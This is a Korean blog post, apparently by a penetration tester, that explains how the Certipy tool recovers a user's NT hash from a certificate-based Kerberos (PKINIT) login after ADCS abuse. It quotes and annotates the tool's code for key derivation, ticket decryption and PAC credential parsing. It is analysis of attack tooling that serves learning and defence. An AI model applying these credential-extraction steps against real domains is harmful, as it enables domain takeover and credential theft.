ADCS의 Misconfiguration을 이용한 도메인 권한 탈취 방법론들은
모두 최종적으로 도메인 Administrator의 pfx 파일을 획득한 뒤
이를 통해 NT Hash를 출력하는 방법입니다.
우리가 아는 커버로스 인증은 본인의 NT Hash가 요구되는데
어떻게 pfx 파일만 가지고 커버로스를 사용하는지 싶지만
커버로스에서는 패스워드 뿐 아니라 공개키 기반의 인증도 가능합니다.
PKINIT(Public Key Cryptography for Initial Anthentication in Kerberos)
근데 획득한 TGT로부터 NT Hash 덤핑이 가능한데,
이 과정이 어떻게 가능한 것인지에 대한 자료는 찾아보기 힘들었습니다.
TGT로부터 NT Hash 덤핑이 가능하다면 AS-REP-Roasting 공격도
해쉬 크래킹이 아닌 덤핑을 사용할텐데 말이죠
그래서 직접 레퍼런스를 참조하며 certipy-ad auth에서는
어떤식으로 NT Hash를 가져오는지 분석해봤습니다.
소스코드는 아래 링크에서 가져왔습니다.
https://raw.githubusercontent.com/ly4k/Certipy/refs/heads/main/certipy/commands/auth.py
def kerberos_authentication(
self,
username: str = None,
domain: str = None,
is_key_credential: bool = False,
id_type: str = None,
identification: str = None,
object_sid: str = None,
upn: str = None,
) -> Union[str, bool]:
as_req, diffie = build_pkinit_as_req(username, domain, self.key, self.cert)
logging.info("Trying to get TGT...")
tgt = sendReceive(as_req, domain, self.target.target_ip)
logging.info("Got TGT")
as_rep = decoder.decode(tgt, asn1Spec=AS_REP())[0]
certipy-ad auth에서는 입력된 정보들을 토대로 KDC로 전송할 AS-REQ를 생성합니다.
ci = cms.ContentInfo.load(pk_as_rep["dhSignedData"]).native
sd = ci["content"]
key_info = sd["encap_content_info"]
auth_data = KDCDHKeyInfo.load(key_info["content"]).native
pub_key = int(
"".join(["1"] + [str(x) for x in auth_data["subjectPublicKey"]]), 2
)
pub_key = int.from_bytes(
core.BitString(auth_data["subjectPublicKey"]).dump()[7:],
"big",
signed=False,
)
shared_key = diffie.exchange(pub_key)
수신된 REP로부터 디피헬만 알고리즘으로 서명된 데이터 필드를 가져옵니다.
해당 데이터의 내용에서 encap_content_info는 공개키에 관련된 정보가 있습니다.
파싱한 공개키를 정수 형태로 변환합니다.
공개키를 가지고 서버와 키 교환을 통해 비밀키를 계산할 수 있습니다.
server_nonce = pk_as_rep["serverDHNonce"]
full_key = shared_key + diffie.dh_nonce + server_nonce
etype = as_rep["enc-part"]["etype"]
cipher = _enctype_table[etype]
if etype == Enctype.AES256:
t_key = truncate_key(full_key, 32)
elif etype == Enctype.AES128:
t_key = truncate_key(full_key, 16)
else:
logging.error("Unexpected encryption type in AS_REP")
return False
key = Key(cipher.enctype, t_key)
enc_data = as_rep["enc-part"]["cipher"]
dec_data = cipher.decrypt(key, 3, enc_data)
enc_as_rep_part = decoder.decode(dec_data, asn1Spec=EncASRepPart())[0]
cipher = _enctype_table[int(enc_as_rep_part["key"]["keytype"])]
session_key = Key(cipher.enctype, bytes(enc_as_rep_part["key"]["keyvalue"]))
서버 응답으로부터 넌스값을 가져오고 본인의 넌스값을 통해 full_key를 생성합니다.
AS_REP을 통해 암호화 알고리즘을 파악하고 각 알고리즘에 맞게 키 바이트 단위를 지정합니다.
Kerberos 인증에서 TGT를 발급할 때, TGT의 정보에는 세션키가 들어있고
TGT는 비밀키로 암호화가 되어 있습니다.
디피 헬만 알고리즘에서 비밀키는 서로 키 교환을 했을 때 쉽게 획득할 수 있으므로
이 과정에서 TGT를 복호화 할 수 있고, TGT에 존재하는 세션키를 획득할 수 있습니다.
TGS 정보 속에 포함되는 PAC의 구조 속에는 PAC_CREDENTIAL_INFO 안에
NTLM_SUPPLEMENTAL_CREDENTIAL 이라는 데이터로 NT Hash에 대한 정보가 있습니다.
그래서 수신된 데이터로부터 먼저 PAC_CREDENTIAL_INFO 정보를 파싱합니다.
cred_info = PAC_CREDENTIAL_INFO(data)
cerd_info에는 파싱한 데이터가 담겨있는데,
PAC_CREDENTIAL_INFO 데이터의 구조체는 다음과 같이 구성되어 있습니다.
암호화 알고리즘을 알아내기 위하여 EncryptionType와
암호화된 Credential 정보를 직렬화한 데이터인 SerializedData를 파싱합니다.
new_cipher = _enctype_table[cred_info["EncryptionType"]]
out = new_cipher.decrypt(special_key, 16, cred_info["SerializedData"])
type1 = TypeSerialization1(out)
new_data = out[len(type1) + 4 :]
pcc = PAC_CREDENTIAL_DATA(new_data)
구조체로 변환한 데이터는 PAC_CREDENTIAL_DATA 정보로
이 데이터 구조체 안에는 사용자의 자격증명 정보를 Credentials로 저장합니다.
변수로 저장한 pcc로부터 NT Hash 정보를 추출할 수 있습니다.
for cred in pcc["Credentials"]:
cred_structs = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
if any(cred_structs["LmPassword"]):
lm_hash = cred_structs["LmPassword"].hex()
nt_hash = cred_structs["NtPassword"].hex()
break
break
[Active Directory] AS-Requested Service Ticket (0) | 2024.11.15 |
---|---|
Pentesting Wiki 개설 (0) | 2024.11.08 |
[Active Directory] Server Operators (0) | 2024.11.07 |
[Active Directory] AD Users & Computers (2) | 2024.11.05 |
[Active Directory] Golden-Ticket (0) | 2024.11.03 |